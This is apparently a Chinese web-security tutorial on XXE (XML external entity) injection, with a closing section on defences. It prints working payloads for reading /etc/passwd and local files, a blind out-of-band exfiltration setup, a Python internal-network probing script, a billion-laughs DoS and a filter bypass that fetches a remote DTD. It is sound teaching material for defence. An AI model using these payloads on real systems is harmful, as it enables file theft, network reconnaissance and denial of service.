XXE 是什么？

XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

我们可以利用XML注入来做很多有意思的事情，具体看后文,有hacking细节.

关于DTD的那些事

XML 格式校验-01-DTD 简介

DTD全称是The document type definition，即是文档类型定义，

可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。

有了DTD文档，独立的应用程序，可以用最少的交互来交换和处理数据。

一个应用程序也可以使用DTD来确认从DTD收到的数据是有效的另外，DTD可以用来配置一个XML/Web应用程序防火墙,例如 : XML防火墙验证XML用户 - 提供基于DTD的输入。

例子

一般如下面所示：

内部声明

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部声明

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

对应的 note.dtd 内容如下：

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

外部实体

如果DTD在外部文件中声明，则DOCTYPE定义必须包含对DTD文件的引用。

这个文件从外部暴露给目标应用程序并且对于攻击者来说，它是有价值的。

DTD文档从安全角度来看非常重要，因为它们有助于理解XML解析器的攻击面。

XML标准使用了一个名为外部一般解析实体的概念，也称为外部实体。

外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体，而非内部实体，那么URL中能写哪些类型的外部实体呢？

主要的有file、http、https、ftp等等，当然不同的程序支持的不一样：

外部实体语法

实际例子

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&content;</value> 
</foo>

在上下文中的外部实体的XML解析器，用于引用可以在Web应用程序代码之外的位置找到数据，例如:本地或远程文件系统; 这可以使用各种众所周知的协议来检索，例如HTTP，FTP或HTTPS。

该实体的目的是通过使用统一资源定位符(URI)形式的链接帮助减少重复出现的信息的进入。

大多数流行的标记语言用于引用内容，并且普通的互联网用户在浏览互联网时非常happy地点击了数千个这样的引用。

XML注入产生的原理

XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。

xxe漏洞检测

第一步检测XML是否会被成功解析：

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "my name is nMask">]>    
<root>&name;</root>

如果页面输出了my name is nMask，说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体：

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://localhost/index.html">  
%name;  
]>

可通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体，那么很有可能是存在xxe漏洞的。

xxe漏洞利用

xxe漏洞的危害有很多，比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等，这里就读取任意文件的利用方式进行测试。

读取任意文件

由于我是在windows上做的测试，因此让其读取c盘下的test.txt文件内容。

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "file://c:\test.txt">  
%name;  
]>

如果是linux下，可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功，除了DTD可有引用外部实体外，还取决于有输出信息，即有回显。那么如果程序没有回显的情况下，该怎么读取文件内容呢？

需要使用blind xxe漏洞去利用。

对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容：

<?php  
file_put_contents("test.txt", $_GET['file']) ;  
?>

创建index.php写入以下内容：

<?php  
$xml=<<<EOF  
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///C:/test.txt">  
<!ENTITY % remote SYSTEM "http://localhost/test.xml">  
%remote;
%all;
%send;  
]>  
EOF;  
$data = simplexml_load_string($xml) ;  
echo "<pre>" ;  
print_r($data) ;  
?>

创建test.xml并写入以下内容：

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容，发送给攻击者服务器上的test.php，然后把读取的数据保存到本地的test.txt中。

注：xxe的利用姿势以及绕过防御姿势有很多，这里不再一一介绍啦

主机探测

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://10.10.10.1">
]>
<x>&f;</x>

对ip地址进行探测或者使用FTP协议探测

内网探测

xxe 由于可以访问外部 url，也就有类似 ssrf 的攻击效果，同样的，也可以利用 xxe 来进行内网探测。

可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模，以便于编写脚本来探测内网。

一个 python 脚本实例：

import requests
import base64



#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>



def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):

    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string

#   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:

        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
      print "error"
continue

DDOS 攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "abc">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

该攻击通过创建一项递归的 XML 定义，在内存中生成十亿个”abc”字符串，从而导致 DDoS 攻击。

原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。

防御方法

禁用外部实体

对于Java来说，直接设置相应的属性值为false即可

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

过滤和验证用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

可能存在被绕过的情况，如（过滤了<EMTITY）Bypass:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://vps/xxe.dtd">
<root>
<user>&xxe;</user>
</root>

不允许XML中含有任何自己声明的DTD

有效的措施：配置XML parser只能使用静态DTD，禁止外来引入；

拓展阅读

web 安全系列

参考资料

XXE 是什么？
关于DTD的那些事
- 例子
- 外部实体
XML注入产生的原理
- xxe漏洞检测
xxe漏洞利用
防御方法
拓展阅读
参考资料

web 安全系列-07-XXE XML外部实体注入攻击